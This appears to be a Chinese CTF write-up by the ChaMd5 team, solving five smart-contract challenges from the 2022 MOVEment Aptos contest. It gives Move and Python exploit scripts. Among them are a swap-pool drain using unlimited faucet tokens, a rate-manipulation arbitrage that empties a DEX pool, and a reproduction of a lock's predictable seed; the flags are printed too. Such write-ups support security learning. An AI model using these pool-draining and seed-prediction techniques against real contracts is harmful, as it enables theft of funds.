2022MOVEment Aptos writeup by ChaMd5
2022-12-20 08:6:7 Author: ChaMd5安全团队(查看原文) 阅读量:7 收藏

招新小广告CTF组诚招re、crypto、pwn、misc、合约方向的师傅,长期招新IOT+Car+工控+样本分析多个组招人有意向的师傅请联系邮箱

[email protected](带上简历和想加入的小组)

本文是对比赛的时候没做出来题目的一次复盘。

checkin

题目给了源代码:
module ctfmovement::checkin {
use std::signer;
use aptos_framework::account;
use aptos_framework::event;

struct FlagHolder has key {
event_set: event::EventHandle<Flag>,
}

struct Flag has drop, store {
user: address,
flag: bool
}

public entry fun get_flag(account: signer) acquires FlagHolder {
let account_addr = signer::address_of(&account);
if (!exists<FlagHolder>(account_addr)) {
move_to(&account, FlagHolder {
event_set: account::new_event_handle<Flag>(&account),
});
};

let flag_holder = borrow_global_mut<FlagHolder>(account_addr);
event::emit_event(&mut flag_holder.event_set, Flag {
user: account_addr,
flag: true
});
}
}

审计后一目了然,只要调用get_flag函数就可以获得flag。

aptos move run  --function-id 0x3dd3f092f3329fba1818779cc7940b681e37277c43b88f1ac0ebf8b67b7879e3::checkin::get_flag  

提交hash后拿到flag

flag{#AKHsfaf-33SFxfGA-H134aB-2022CTFMovement-#}!48e986dd-13f0-49e8-87ef-faa49f3a5c0b

hello move

第二题在拿flag之前需要将挑战初始化并且通过三个小关卡。

在拿到flag之前需要让res的三个属性q1,q2,q3都为true。

一开始我们的账号当然不会有Challenge这个资源,需要首先调用init_challenge函数来获得。

由于init_challenge没有entry属性,因此只能在script或者module里面被调用,所以需要写一个script来调用这个函数。并且只有通过hash,discrete_log,以及add函数才可以满足全部要求。
首先看hash函数:

给了一个vector,后四个元素已知,需要爆破前四个元素,满足hash等于d9ad5396ce1ed307e8fb2a90de7fd01d888c02950ef6852fbc2191d2baf58e79。需要知道aptos_hash::keccak256是如何处理vector的:

可以写一个python脚本来爆破:
k = sha3.keccak_256()  
for a in range(256):  
    for b in range(256):  
        for c in range(256):  
            for d in range(256):  
                k.update(bytes([a, b, c, d, 109, 111, 118, 101]))  
                if k.hexdigest() == 'd9ad5396ce1ed307e8fb2a90de7fd01d888c02950ef6852fbc2191d2baf58e79':  
                    print([a, b, c, d]) 
最后结果是103,111,111,100。 
discrete_log函数非常直白,只需要计算一个离散对数就行:

from sympy.ntheory import discrete_log

result = discrete_log(18446744073709551616, 18164541542389285005, 10549609011087404693)  
print(result)

在add函数中,选择为2并且number等于0的时候可以让res.balance < Initialize_balance。

最后写个exp:

script {  
    fun call_init_challenge(account: signer) {  
        ctfmovement::hello_move::init_challenge(&account);
        ctfmovement::hello_move::hash(&account, vector[103u8, 111u8, 111u8, 100u8]);
        ctfmovement::hello_move::discrete_log(&account, 3123592912467026955u128);
        ctfmovement::hello_move::add(&account, 2u8, 0u8);
        ctfmovement::hello_move::get_flag(&account);
    }
}

提交hash后获得flag flag{#PWabg61-27LKScx1-pmz5QR-2022CTFMovement-#}!6ff6d330-396d-4b8e-82f0-452df95a62f8

simple swap

这题代码初看比前面的更加复杂。 需要让simple_coin_balance大于10000000000才可以获得flag:

合约里面存在两种货币,SimpleCoin和TestUSDC。通过claim_faucet函数能够获得不限量的TestUSDC,并且可以将TestUSDC换成SimpleCoin。

在swap_exact_x_to_y_direct函数中,能获得的是(amount_in*reserve_out)/(reserve_in+amount_in)/1000,很显然只要TestUSDC足够多,Pool里面的SimpleCoin迟早会被换完,可以写一个script来拿flag。

script {  
    use std::signer::address_of;  
    use aptos_framework::coin;  
  
    fun exp(account: &signer) {  
        let addr = address_of(account);  
        
        coin::register<ctfmovement::simple_coin::SimpleCoin>(account);  

        ctfmovement::simple_coin::claim_faucet(account, 100000000000000000);  
        while(true) {  
            let balance = coin::balance<ctfmovement::simple_coin::SimpleCoin>(addr);  
            if (balance > 10000000000) {  
                break;  
            };  

            let (s, u) = ctfmovement::swap::pool_reserves<ctfmovement::simple_coin::SimpleCoin, ctfmovement::simple_coin::TestUSDC>(  
            );  
          
            let usdc_swap = coin::withdraw<ctfmovement::simple_coin::TestUSDC>(account, u);  
            let (out, reward) = ctfmovement::swap::swap_exact_y_to_x_direct<ctfmovement::simple_coin::SimpleCoin, 
            ctfmovement::simple_coin::TestUSDC>(usdc_swap);  
            
            coin::deposit(address_of(account), out);  
            coin::deposit(address_of(account), reward);  
        }; 
        
        ctfmovement::simple_coin::get_flag(account);  
    }  
}

flag{#es89QK4-Qkas9HJ3-TRqo12-2022CTFMovement-#}!37809981-4912-4604-a382-dd947b05b140

swap empty

这一题很像Ethernaut的Dex(https://ethernaut.openzeppelin.com/level/0x9CB391dbcD447E645D6Cb55dE6ca23164130D008),也是一个套利的游戏。

游戏开始可以通过get_coin函数来分别获得5个coin1和coin2。 

拿到flag的条件是让任意一个池子里coin的数量为0:

初始池子里有50个coin1和50个coin2,我们手里有5个coin1和5个coin2,为了方便理解我用一个表格来说明:

交易池coin1交易池coin2汇率1-2汇率2-1用户coin1用户coin2兑换币种兑换后用户coin1兑换后用户coin2
50501155coin1010
55450.821.22010coin2120
43551.280.78120coin1014

可以看到,随着交易次数变多,实际的汇率也会越来越大,最终会将交易池掏空。我写了个python脚本更加直观表示:

state = {
    'coin1_balance': 5,
    'coin2_balance': 5,
    'coin1_reserve': 50,
    'coin2_reserve': 50,
}

def get_swap_out(amount, order):
    coin1 = state['coin1_reserve']
    coin2 = state['coin2_reserve']
    if order:
        print(coin2/coin1)
        return (amount*coin2/coin1)

    else:
        print(coin2/coin1)
        return (amount*coin1/coin2)

def swap_coin1_to_coin2(amount):
    state['coin1_balance'] -= amount
    state['coin2_balance'] += get_swap_out(amount, True)
    state['coin1_reserve'] += amount
    state['coin2_reserve'] -= get_swap_out(amount, True)

def swap_coin2_to_coin1(amount):
    state['coin2_balance'] -= amount
    state['coin1_balance'] += get_swap_out(amount, False)
    state['coin2_reserve'] += amount
    state['coin1_reserve'] -= get_swap_out(amount, False)

count = 0
for i in range(100):
  
    print(state)
    swap_coin1_to_coin2(state['coin1_balance'])
    count += 1
   
    print(state)
    swap_coin2_to_coin1(state['coin2_balance'])
    count += 1

print(count)

最终可以写一个script来模拟每次的调用,手动操作的话,我尝试了大概不到十次就可以清空coin1
script {  
    use aptos_framework::coin;  
    use std::signer::address_of;
  
    fun hack(account: &signer, order: bool, amount: u64) {
    //   ctfmovement::pool::get_coin(account);
        let addr = address_of(account);

        if(order){
            let coin1 = coin::withdraw<ctfmovement::pool::Coin1>(account, amount);  
            let res = ctfmovement::pool::swap_12(&mut coin1, amount);     
            coin::destroy_zero(coin1);  
            coin::deposit<ctfmovement::pool::Coin2>(addr, res);  
        }
        else{
            let coin2 = coin::withdraw<ctfmovement::pool::Coin2>(account, amount);  
            let res = ctfmovement::pool::swap_21(&mut coin2, amount);     
            coin::destroy_zero(coin2);  
            coin::deposit<ctfmovement::pool::Coin1>(addr, res);  
        }
    }  
}

flag{#FoSGsL0-BHKlsf27-wjBK92-2022CTFMovement-#}!b5fb37c0-dccc-47fc-93c8-c16b77701093

move lock v2

加密函数虽然看上去十分复杂,但是分析后发现seed与执行次数以及时间有关,所以可以把代码复制一份到自己的module里面,计算出result后调用原本module里面的unlock。
entry public fun hack(user: &signer) acquires Counter {  
    let result = unlock(user);  
    ctfmovement::move_lock::unlock(user, result);  
}
public fun unlock(user : &signer) : u128 acquires Counter {  
    let encrypted_string : vector<u8> = encrypt_string(BASE);  
  
    let res_addr : address = account::create_resource_address(&@ctfmovement, encrypted_string);  
  
    let bys_addr : vector<u8> = bcs::to_bytes(&res_addr);  
  
    let i = 0;  
    let d = 0;  
    let cof : vector<u8> = vector::empty<u8>();  
    while ( i < vector::length(&bys_addr) ) {  
  
        let n1 : u64 = gen_number() % (0xff as u64);  
        let n2 : u8 = (n1 as u8);  
        let tmp : u8 = *vector::borrow(&bys_addr, i);  
  
        vector::push_back(&mut cof, n2 ^ (tmp));  
  
        i = i + 5;  
        d = d + 1;  
    };  
  
    let pol : Polynomial = constructor(d, cof);  
  
    let x : u64 = gen_number() % 0xff;  
    let result = evaluate(&mut pol, x);  
    result  

最后还需要修改increment函数和init_module函数:

因为加密函数里面有get_script_hash,所以hack函数需要被一个script调用。
script {
    fun exp(account: &signer) {
        ctfmovement_hacker::hack::solve(account);
    }
}

最后拿到flag flag{#uwx17DW-BZ10WE8w-LQE85e-2022CTFMovement-#}!15b59eb0-2808-4ae8-8413-0d0344cda32b

参考链接

https://leoq7.com/2022/12/CTF-Movement-Aptos/ https://gist.github.com/cryptowen/de38b9b1cc1915c1f3f21e652944296b

- END -

招新小广告

ChaMd5 Venom 招收大佬入圈

新成立组IOT+工控+样本分析 长期招新

欢迎联系[email protected]


文章来源: http://mp.weixin.qq.com/s?__biz=MzIzMTc1MjExOQ==&mid=2247507990&idx=1&sn=700cb1df1b129fa0afb7c905c8dcecac&chksm=e89d88cedfea01d8d5d4dbe83fc9b82e7e7c2e72501ed5c5f40b3d78be9bdd3cb1530035d478#rd
如有侵权请联系:admin#unsafe.sh